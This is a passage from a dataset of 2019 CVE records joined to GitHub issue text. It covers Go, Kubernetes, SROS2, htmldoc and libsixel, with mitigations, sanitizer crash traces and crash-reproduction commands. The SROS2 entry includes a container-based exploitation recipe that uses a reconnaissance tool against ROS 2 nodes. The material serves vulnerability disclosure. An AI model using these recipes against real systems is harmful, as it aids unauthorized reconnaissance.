tokens[ctr] = ptr + 1;
}
```
| Integer Overflow in `r_asm_massemble` at libr/asm/asm.c | https://api.github.com/repos/radareorg/radare2/issues/15543/comments | 10 | 2019-12-04T09:29:34Z | 2019-12-09T10:40:58Z | https://github.com/radareorg/radare2/issues/15543 | 532,555,686 | 15,543 |
CVE-2019-19602 | 2019-12-05T14:15:09.257 | fpregs_state_valid in arch/x86/include/asm/fpu/internal.h in the Linux kernel before 5.4.2, when GCC 9 is used, allows context-dependent attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact because of incorrect fpu_fpregs_owner_ctx caching, as demonstrated by mishandling of signal-based non-cooperative preemption in Go 1.14 prereleases on amd64, aka CID-59c4bd853abc. | {
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.kernel.org/show_bug.cgi?id=205663"
},
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"source": "[email protected]",
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],
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},
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},
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"url": "https://security.netapp.com/advisory/ntap-20200103-0001/"
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] | https://github.com/golang/go/issues/35777#issuecomment-561935388 | [
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"golang",
"go"
] | We've had several reports of memory corruption on Linux 5.3.x (or later) kernels from people running tip since asynchronous preemption was committed. This is a super-bug to track these issues. I suspect they all have one root cause.
Typically these are "runtime error: invalid memory address or nil pointer dereference" or "runtime: unexpected return pc" or "segmentation violation" panics. They can also appear as self-detected data corruption.
If you encounter a crash that could be random memory corruption, are running Linux 5.3.x or later, and are running a recent tip Go (after commit 62e53b79227dafc6afcd92240c89acb8c0e1dd56), please file a new issue and add a comment here. If you can reproduce it, please try setting "GODEBUG=asyncpreemptoff=1" in your environment and seeing if you can still reproduce it.
Duplicate issues (I'll edit this comment to keep this up-to-date):
runtime: corrupt binary export data seen after signal preemption CL (#35326): Corruption in file version header observed by vet. Medium reproducible. Strong leads.
cmd/compile: panic during early copyelim crash (#35658): Invalid memory address in cmd/compile/internal/ssa.copyelim. Not reproducible. Nothing obvious in stack trace. Haven't dug into assembly.
runtime: SIGSEGV in mapassign_fast64 during cmd/vet (#35689): Invalid memory address in runtime.mapassign_fast64 in vet. Stack trace includes random pointers. Some assembly decoding work.
runtime: unexpected return pc for runtime.(*mheap).alloc (#35328): Unexpected return pc. Stack trace includes random pointers. Not reproducible.
cmd/dist: I/O error: read src/xxx.go: is a directory (#35776): Random misbehavior. Not reproducible.
runtime: "fatal error: mSpanList.insertBack" in mallocgc (#35771): Bad mspan next pointer (random and unaligned). Not reproducible.
cmd/compile: invalid memory address or nil pointer dereference in gc.convlit1 (#35621): Invalid memory address in cmd/compile/internal/gc.convlit1. Evidence of memory corruption, though no obvious random pointers. Not reproducible.
cmd/go: unexpected signal during runtime execution (#35783): Corruption in file version header observed by vet. Not reproducible.
runtime: unexpected return pc for runtime.systemstack_switch (#35592): Unexpected return pc. Stack trace includes random pointers. Not reproducible.
cmd/compile: random compile error running tests (#35760): Compiler data corruption. Not reproducible. | runtime: memory corruption on Linux 5.2+ | https://api.github.com/repos/golang/go/issues/35777/comments | 93 | 2019-11-22T15:24:36Z | 2022-06-23T07:42:24Z | https://github.com/golang/go/issues/35777 | 527,259,718 | 35,777 |
CVE-2018-1002102 | 2019-12-05T16:15:10.427 | Improper validation of URL redirection in the Kubernetes API server in versions prior to v1.14.0 allows an attacker-controlled Kubelet to redirect API server requests from streaming endpoints to arbitrary hosts. Impacted API servers will follow the redirect as a GET request with client-certificate credentials for authenticating to the Kubelet. | {
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"Issue Tracking",
"Mitigation",
"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | CVSS Rating: [CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:N/A:N/E:F (Low)](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:N/A:N/E:F)
An attacker-controlled Kubelet can return an arbitrary redirect when responding to certain apiserver requests. Impacted kube-apiservers will follow the redirect as a GET request with client-cert credentials for authenticating to the Kubelet.
### Am I vulnerable?
Kubernetes API servers with the `StreamingProxyRedirects` [feature](https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/) enabled AND without the `ValidateProxyRedirects` feature are affected.
API servers using SSH tunnels (--ssh-user / --ssh-keyfile) are not affected.
Using the default feature gate values, kube-apiserver versions before v1.14 are affected.
### How do I mitigate this vulnerability?
For Kubernetes versions >= v1.10.0, the `ValidateProxyRedirects` can be manually enabled with the `kube-apiserver` flag `--feature-gates=ValidateProxyRedirects=true`.
#### Fix impact
The `ValidateProxyRedirects` feature will cause the kube-apiserver to check that redirects go to the same host. If nodes are configured to respond to CRI streaming requests on a different host interface than what the apiserver makes requests on (only the case if not using the built-in dockershim & setting the kubelet flag `--redirect-container-streaming=true`), then these requests will be broken. In that case, the feature can be temporarily disabled until the node configuration is corrected. We suggest setting `--redirect-container-streaming=false` on the kubelet to avoid issues.
#### Fixed Versions
- Kubernetes v1.14+ - Fixed by default in https://github.com/kubernetes/kubernetes/pull/72552
- Kubernetes v1.10-v1.14 - Fix available as alpha in https://github.com/kubernetes/kubernetes/pull/66516
## Additional Details
In a future release, we plan to deprecate the `StreamingProxyRedirects` feature, instead opting to handle the redirection locally through the Kubelet. Once the deprecation is complete, we can completely remove apiserver redirect handling (at least for Kubelet requests).
#### Acknowledgements
This vulnerability was reported by Alban Crequy.
/area security
/kind bug
/committee product-security
/sig api-machinery node
/area apiserver
/close | CVE-2018-1002102: Unvalidated redirect | https://api.github.com/repos/kubernetes/kubernetes/issues/85867/comments | 3 | 2019-12-03T22:58:37Z | 2021-12-02T22:56:35Z | https://github.com/kubernetes/kubernetes/issues/85867 | 532,323,568 | 85,867 |
CVE-2019-11255 | 2019-12-05T16:15:10.567 | Improper input validation in Kubernetes CSI sidecar containers for external-provisioner (<v0.4.3, <v1.0.2, v1.1, <v1.2.2, <v1.3.1), external-snapshotter (<v0.4.2, <v1.0.2, v1.1, <1.2.2), and external-resizer (v0.1, v0.2) could result in unauthorized PersistentVolume data access or volume mutation during snapshot, restore from snapshot, cloning and resizing operations. | {
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] | https://github.com/kubernetes/kubernetes/issues/85233 | [
"Mitigation",
"Third Party Advisory"
] | github.com | [
"kubernetes",
"kubernetes"
] | <!-- Please use this template while reporting a bug and provide as much info as possible. Not doing so may result in your bug not being addressed in a timely manner. Thanks!
If the matter is security related, please disclose it privately via https://kubernetes.io/security/
-->
**Am I vulnerable?**
CSI snapshot, cloning and resizing features are affected. Prior to Kubernetes 1.16, these features were all alpha and disabled by default. Starting in Kubernetes 1.16, CSI cloning and resizing features are beta and enabled by default.
These features also require CSI drivers to be installed in a Kubernetes cluster and the CSI driver also has to support those features. An unofficial list of CSI drivers and their supported features is available [here](https://kubernetes-csi.github.io/docs/drivers.html), however it is best to check with the CSI driver vendor for the latest information.
Check if you have the following Kubernetes feature gates enabled:
```
VolumeSnapshotDataSource: alpha starting with K8s 1.12
ExpandCSIVolumes: alpha starting with K8s 1.14, beta starting with K8s 1.16
VolumePVCDataSource: alpha starting with K8s 1.15, beta starting with K8s 1.16
```
Check if you are using CSI drivers in your cluster. If so, the following command’s output will be non-empty:
```
$ kubectl get nodes -o jsonpath='{.items[*].metadata.annotations.csi\.volume\.kubernetes\.io\/nodeid}'
{"my-csi-plugin":"kubernetes-minion-group-433q"}
```
Then, check the CSI driver’s pod specifications to see if they are using the following vulnerable versions of sidecars:
```
external-provisioner: v0.4.1-0.4.2, v1.0.0-1.0.1, v1.1.0-1.2.1, v1.3.0
external-snapshotter: v0.4.0-0.4.1, v1.0.0-1.0.1, v1.1.0-v1.2.1
external-resizer: v0.1.0-0.2.0
```
An example query:
```
$ kubectl get pods --all-namespaces -o jsonpath='{..image}' | tr ' ' $'\n' | grep "csi-provisioner\|csi-snapshotter\|csi-resizer"
image: quay.io/k8scsi/csi-provisioner:v1.2.0
```
Note that the exact container image name may vary across CSI driver vendors. It is recommended to inspect the Pod specifications directly.
**How do I mitigate the vulnerability?**
As a short term mitigation, disable the `VolumeSnapshotDataSource`, `ExpandCSIVolumes`, and `VolumePVCDataSource` Kubernetes feature gates in kube-apiserver and kube-controller-manager. This will cause new PersistentVolumeClaims to be provisioned ignoring the DataSource and resizing requests will also be ignored. Note that this will cause new PVCs that are intended to be provisioned from a snapshot or clone to instead provision a blank disk.
Also, to disable taking volume snapshots, either remove the external-snapshotter sidecar from any CSI drivers or revoke the CSI driver’s RBAC permissions on the `snapshot.storage.k8s.io` API group.
Longer term, upgrade your CSI driver with patched versions of the affected sidecars. Fixes are available in the following sidecar versions:
external-provisioner:
v0.4.3
v1.0.2
v1.2.2
v1.3.1
v1.4.0
external-snapshotter:
v0.4.2
v1.0.2
v1.2.2
external-resizer
v0.3.0
Fixes for each of the sidecars can be tracked by:
https://github.com/kubernetes-csi/external-provisioner/issues/380
https://github.com/kubernetes-csi/external-snapshotter/issues/193
https://github.com/kubernetes-csi/external-resizer/issues/63
**How do I upgrade?**
Check with your CSI driver vendor for upgrade instructions. No Kubernetes control plane or node upgrades are required unless the CSI driver is bundled into the Kubernetes distribution.
**Vulnerability details**
There are two different vulnerabilities impacting the same features.
When PersistentVolumeClaim and PersistentVolume objects are bound, they have bidirectional references to each other. When dereferencing a PersistentVolumeClaim to get a PersistentVolume, the impacted sidecar controllers were not validating that the PersistentVolume referenced back to the same PersistentVolumeClaim, potentially operating on unauthorized PersistentVolumes for snapshot, cloning and resizing operations.
A similar issue exists for VolumeSnapshot and VolumeSnapshotContent objects when creating a new PersistentVolumeClaim from a snapshot.
The second issue is related to the property that CSI volume and snapshot ids are only required to be unique within a single CSI driver. Impacted sidecar controllers were not validating that the requested source VolumeSnapshot or PersistentVolumeClaim specified were from the same driver processing the request, potentially operating on unauthorized volumes during snapshot, restore from snapshot, or cloning operations.
| CVE-2019-11255: CSI volume snapshot, cloning and resizing features can result in unauthorized volume data access or mutation | https://api.github.com/repos/kubernetes/kubernetes/issues/85233/comments | 5 | 2019-11-13T20:57:31Z | 2022-10-14T02:00:55Z | https://github.com/kubernetes/kubernetes/issues/85233 | 522,468,661 | 85,233 |
CVE-2019-19625 | 2019-12-06T16:15:11.247 | SROS 2 0.8.1 (which provides the tools that generate and distribute keys for Robot Operating System 2 and uses the underlying security plugins of DDS from ROS 2) leaks node information due to a leaky default configuration as indicated in the policy/defaults/dds/governance.xml document. | {
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} | [
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"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/aliasrobotics/RVD/issues/922"
},
{
"source": "[email protected]",
"tags": [
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],
"url": "https://github.com/ros2/sros2/pull/171"
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] | https://github.com/aliasrobotics/RVD/issues/922 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"aliasrobotics",
"RVD"
] | ```yaml
cve: CVE-2019-19625
cwe: CWE-200 (Information Exposure)
description: We found that SROS 2, the tools to generate and distribute keys for ROS
2 and use the underlying security plugins of DDS from ROS 2 leak node information
due to a leaky default configuration as inidicated at https://github.com/ros2/sros2/blob/master/sros2/sros2/policy/defaults/dds/governance.xml#L13.
This exposure was first raised in the Security Workshop of ROSCon 2019 (Nov. 2019).
Further debugging the flaw indicates that there might be some additional underlying
issues.
exploitation:
description: A simple use of ros2cli allows to exploit this flaw. See https://asciinema.org/a/SSnSAMlOEoHfqhAuzC1R98STF
for a walkthrough.
exploitation-image: Not available
exploitation-vector: Not available
exploitation-recipe:
networks:
- network:
- driver: overlay
- name: net1
- encryption: true
- subnet: 12.0.0.0/24
- network:
- driver: overlay
- name: net2
- encryption: false
- subnet: 13.0.0.0/24
containers:
- container:
- name: subject1
- modules:
- base: registry.gitlab.com/aliasrobotics/offensive/alurity/ros2/ros2:2c82f8ff0dba79c00c1ce05198ef86920049a258
- network: net1
- container:
- name: subject2
- modules:
- base: registry.gitlab.com/aliasrobotics/offensive/alurity/ros2/ros2:2c82f8ff0dba79c00c1ce05198ef86920049a258
- volume: registry.gitlab.com/aliasrobotics/offensive/alurity/deve_atom
- network: net1
- container:
- name: attacker
- modules:
- base: registry.gitlab.com/aliasrobotics/offensive/alurity/ros2/ros2:2c82f8ff0dba79c00c1ce05198ef86920049a258
- volume: registry.gitlab.com/aliasrobotics/offensive/alurity/reco_aztarna
- network:
- net1
- net2
flow:
- container:
- name: subject1
- window:
- name: unsecure
- commands:
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=0"
- command: "ros2 run demo_nodes_cpp talker"
- split: horizontal
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=0"
- command: "env | grep ROS" # this shows there's no security enabled at this point
- select: unsecure
- container:
- name: subject2
- window:
- name: secure
- commands:
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=1"
- command: "env | grep ROS" # this shows there's no security enabled at this point
- command: "ros2 run demo_nodes_cpp talker"
- command: "export ROS_SECURITY_ENABLE=true"
- command: "export ROS_SECURITY_STRATEGY=Enforce"
- command: "export ROS_SECURITY_ROOT_DIRECTORY=/opt/ros2_ws/keystore"
- command: "export ROS_SECURITY_LOOKUP_TYPE=MATCH_PREFIX"
- command: "env | grep ROS" # from this point on, there's security enabled
- command: "ros2 run demo_nodes_cpp talker"
- split: horizontal
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "export ROS_DOMAIN_ID=1"
- command: "cd /opt/ros2_ws/"
- command: "mkdir policy"
# generate a security policy based on our current graph
- command: "ros2 security generate_policy policy/my_policy.xml"
- command: "cat policy/my_policy.xml"
# populated the keystore for all profiles
- command: "ros2 security generate_artifacts -k keystore -p policy/my_policy.xml -n /_ros2cli"
- command: "kill -9 $(pidof talker)"
- select: secure
- container:
- name: attacker
- window:
- name: attacker_window
- commands:
- command: "source /opt/ros2_ws/install/setup.bash"
- command: "aztarna -t ros2 -d 0 --daemon -e"
- split: horizontal
- command: "source /opt/ros2_ws/install/setup.bash"
- type: "aztarna -t ros2 -d 1 --daemon -e"
- select: attacker_window
- attach: subject2
flaw:
application: any ROS 2 node communicating
architectural-location: platform code
date-detected: null
date-reported: '2019-12-06'
detected-by: Victor Mayoral Vilches and Lander Usategui San Juan (Alias Robotics)
detected-by-method: runtime detection
issue: https://github.com/aliasrobotics/RVD/issues/922
languages: Python
package: sros2
phase: runtime-operation
reported-by: Victor Mayoral Vilches and Lander Usategui San Juan (Alias Robotics)
reported-by-relationship: security researcher
reproducibility: always
reproduction: https://asciinema.org/a/SSnSAMlOEoHfqhAuzC1R98STF
reproduction-image: Not available
specificity: ROS-specific
subsystem: cognition:middleware
trace: N/A
id: 922
keywords:
- Robot Operating System 2
- ROS 2
- eloquent
- dashing
links:
- https://ros-swg.github.io/ROSCon19_Security_Workshop/
- https://github.com/ros-swg/turtlebot3_demo
- https://github.com/ros2/sros2/blob/master/sros2/sros2/policy/defaults/dds/governance.xml#L13
- https://design.ros2.org/articles/ros2_dds_security.html
- https://asciinema.org/a/SSnSAMlOEoHfqhAuzC1R98STF
mitigation:
date-mitigation: null
description: Modify the policy and set rtps_protection_kind to ENCRYPT
pull-request: https://github.com/ros2/sros2/pull/171
severity:
cvss-score: 7.5
cvss-vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
rvss-score: 6.5
rvss-vector: RVSS:1.0/AV:AN/AC:L/PR:N/UI:N/Y:Z/S:U/C:H/I:N/A:N/H:N
severity-description: high
system: ros2
title: 'RVD#922: SROS2 leaks node information'
type: exposure
vendor: ''
``` | RVD#922: SROS2 leaks node information | https://api.github.com/repos/aliasrobotics/RVD/issues/922/comments | 2 | 2019-12-05T21:44:23Z | 2020-06-23T14:25:37Z | https://github.com/aliasrobotics/RVD/issues/922 | 533,616,302 | 922 |
CVE-2019-19630 | 2019-12-08T02:15:10.030 | HTMLDOC 1.9.7 allows a stack-based buffer overflow in the hd_strlcpy() function in string.c (when called from render_contents in ps-pdf.cxx) via a crafted HTML document. | {
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] | https://github.com/michaelrsweet/htmldoc/issues/370 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"michaelrsweet",
"htmldoc"
] | Hi,
While fuzzing htmldoc with Honggfuzz, I found a stack-based buffer overflow in the hd_strlcpy() function, in string.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test01.html.gz](https://github.com/michaelrsweet/htmldoc/files/3933370/test01.html.gz)
Issue can be reproduced by running:
```
htmldoc test01.html -f test01.ps
```
```
=================================================================
==27915==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffefa66f0df at pc 0x000000494c40 bp 0x7ffefa66f070 sp 0x7ffefa66e838
WRITE of size 3 at 0x7ffefa66f0df thread T0
#0 0x494c3f in __asan_memcpy (/home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc+0x494c3f)
#1 0x556aa5 in hd_strlcpy /home/fcambus/htmldoc-1.9.7/htmldoc/string.c:191:3
#2 0x509ee3 in render_contents(tree_str*, float, float, float, float, float*, int*, int, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:3765:5
#3 0x4f3cfb in parse_contents(tree_str*, float, float, float, float, float*, int*, int*, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:3853:13
#4 0x4f3f6c in parse_contents(tree_str*, float, float, float, float, float*, int*, int*, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx
#5 0x4e4fce in pspdf_export /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:860:5
#6 0x4d17bb in main /home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc.cxx:1276:3
#7 0x7f68626141e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#8 0x41d84d in _start (/home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc+0x41d84d)
Address 0x7ffefa66f0df is located in stack of thread T0 at offset 63 in frame
#0 0x5084be in render_contents(tree_str*, float, float, float, float, float*, int*, int, tree_str*) /home/fcambus/htmldoc-1.9.7/htmldoc/ps-pdf.cxx:3563
This frame has 2 object(s):
[32, 44) 'rgb' (line 3564)
[64, 1088) 'number' (line 3570) <== Memory access at offset 63 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/fcambus/htmldoc-1.9.7/htmldoc/htmldoc+0x494c3f) in __asan_memcpy
Shadow bytes around the buggy address:
0x10005f4c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10005f4c5e10: 00 00 00 00 f1 f1 f1 f1 00 04 f2[f2]00 00 00 00
0x10005f4c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005f4c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==27915==ABORTING
``` | Stack-based buffer overflow in the hd_strlcpy() function | https://api.github.com/repos/michaelrsweet/htmldoc/issues/370/comments | 4 | 2019-12-06T17:57:51Z | 2019-12-08T19:02:42Z | https://github.com/michaelrsweet/htmldoc/issues/370 | 534,181,098 | 370 |
CVE-2019-19635 | 2019-12-08T03:15:10.897 | An issue was discovered in libsixel 1.8.2. There is a heap-based buffer overflow in the function sixel_decode_raw_impl at fromsixel.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/saitoha/libsixel/issues/103"
}
] | [
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"Third Party Advisory"
] | github.com | [
"saitoha",
"libsixel"
] | # libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## [email protected]:608-41___heap-buffer-overflow
### description
An issue was discovered in libsixel 1.8.2, There is a/an heap-buffer-overflow in function sixel_decode_raw_impl at fromsixel.c:608-41
### commandline
img2sixel @@ -o /dev/null
### source
```c
604 }
605 c <<= 1;
606 }
607 for (y = context->pos_y + i; y < context->pos_y + i + n; ++y) {
> 608 me \*bug=>*\ mset(image->data + image->width * y + context->pos_x,
609 context->color_index,
610 (size_t)context->repeat_count);
611 }
612 if (context->max_x < (context->pos_x + context->repeat_count - 1)) {
613 context->max_x = context->pos_x + context->repeat_count - 1;
```
### bug report
```txt
=================================================================
==11466==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000009200 at pc 0x0000004a2fb5 bp 0x7ffc5f4c8500 sp 0x7ffc5f4c7cb0
WRITE of size 2147483647 at 0x629000009200 thread T0
#0 0x4a2fb4 in __asan_memset (/src/aflbuild/installed/bin/img2sixel+0x4a2fb4)
#1 0x7fc638b15334 in sixel_decode_raw_impl /src/libsixel/src/fromsixel.c:608:41
#2 0x7fc638b18964 in sixel_decode_raw /src/libsixel/src/fromsixel.c:881:14
#3 0x7fc638b7291e in load_sixel /src/libsixel/src/loader.c:613:14
#4 0x7fc638b7291e in load_with_builtin /src/libsixel/src/loader.c:782
#5 0x7fc638b7291e in sixel_helper_load_image_file /src/libsixel/src/loader.c:1352
#6 0x7fc638c1c5bc in sixel_encoder_encode /src/libsixel/src/encoder.c:1737:14
#7 0x4ebd82 in main /src/libsixel/converters/img2sixel.c:457:22
#8 0x7fc63775982f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x418d38 in _start (/src/aflbuild/installed/bin/img2sixel+0x418d38)
0x629000009200 is located 0 bytes to the right of 16384-byte region [0x629000005200,0x629000009200)
allocated by thread T0 here:
#0 0x4b8e68 in malloc (/src/aflbuild/installed/bin/img2sixel+0x4b8e68)
#1 0x7fc638b1805b in image_buffer_resize /src/libsixel/src/fromsixel.c:292:35
SUMMARY: AddressSanitizer: heap-buffer-overflow (/src/aflbuild/installed/bin/img2sixel+0x4a2fb4) in __asan_memset
Shadow bytes around the buggy address:
0x0c527fff91f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff9240:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==11466==ABORTING
```
### others
from fuzz project pwd-libsixel-img2sixel-03
crash name pwd-libsixel-img2sixel-03-00000032-20191120.pnm
Auto-generated by pyspider at 2019-11-20 19:32:45
please send email to [email protected] if you have any questions.
| A heap-buffer-overflow in function sixel_decode_raw_impl at fromsixel.c:608-4, due to integer overflow | https://api.github.com/repos/saitoha/libsixel/issues/103/comments | 2 | 2019-12-02T10:49:48Z | 2019-12-17T12:05:50Z | https://github.com/saitoha/libsixel/issues/103 | 531,046,092 | 103 |
CVE-2019-19636 | 2019-12-08T03:15:10.973 | An issue was discovered in libsixel 1.8.2. There is an integer overflow in the function sixel_encode_body at tosixel.c. | {
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"acInsufInfo": false,
"baseSeverity": "HIGH",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
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"attackVector": "NETWORK",
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
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"Third Party Advisory"
] | github.com | [
"saitoha",
"libsixel"
] | # libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to [email protected] if you have any questions.
---------------------
## [email protected]:562-38___SEGV_UNKNOW
### description
An issue was discovered in libsixel 1.8.2, There is an integer overflow in function sixel_encode_body at tosixel.c:562-38
### commandline
img2sixel @@ -o /dev/null
### source
```c
558 }
559 for (x = 0; x < width; x++) {
560 pix = pixels[y * width + x]; /* color index */
561 if (pix >= 0 && pix < ncolors && pix != keycolor) {
> 562 map[pix * width + x] |= (1 << i);
563 }
564 else if (!palstate) {
565 fillable = 0;
566 }
567 }
```
### bug report
```txt
ASAN:DEADLYSIGNAL
=================================================================
==23526==ERROR: AddressSanitizer: SEGV on unknown address 0x7f1651943dc8 (pc 0x7f17a65b9d04 bp 0x7ffecb75fbd0 sp 0x7ffecb75fa00 T0)
#0 0x7f17a65b9d03 in sixel_encode_body /src/libsixel/src/tosixel.c:562:38
#1 0x7f17a65b30ce in sixel_encode_dither /src/libsixel/src/tosixel.c:802:14
#2 0x7f17a65b30ce in sixel_encode /src/libsixel/src/tosixel.c:1488
#3 0x7f17a66b31ee in sixel_encoder_output_without_macro /src/libsixel/src/encoder.c:820:14
#4 0x7f17a66b31ee in sixel_encoder_encode_frame /src/libsixel/src/encoder.c:1050
#5 0x7f17a6608883 in load_with_builtin /src/libsixel/src/loader.c:913:14
#6 0x7f17a6608883 in sixel_helper_load_image_file /src/libsixel/src/loader.c:1352
#7 0x7f17a66b05bc in sixel_encoder_encode /src/libsixel/src/encoder.c:1737:14
#8 0x4ebd82 in main /src/libsixel/converters/img2sixel.c:457:22
#9 0x7f17a51ed82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#10 0x418d38 in _start (/src/aflbuild/installed/bin/img2sixel+0x418d38)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/libsixel/src/tosixel.c:562:38 in sixel_encode_body
==23526==ABORTING
```
### others
from fuzz project pwd-libsixel-img2sixel-03
crash name pwd-libsixel-img2sixel-03-00000076-20191201.pnm
Auto-generated by pyspider at 2019-12-01 23:22:18
please send email to [email protected] if you have any questions.
| An integer overflow in function sixel_encode_body at tosixel.c:562-38 | https://api.github.com/repos/saitoha/libsixel/issues/104/comments | 2 | 2019-12-02T10:51:14Z | 2019-12-17T12:05:34Z | https://github.com/saitoha/libsixel/issues/104 | 531,046,886 | 104 |
CVE-2019-19637 | 2019-12-08T03:15:11.020 | An issue was discovered in libsixel 1.8.2. There is an integer overflow in the function sixel_decode_raw_impl at fromsixel.c. | {
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"acInsufInfo": false,
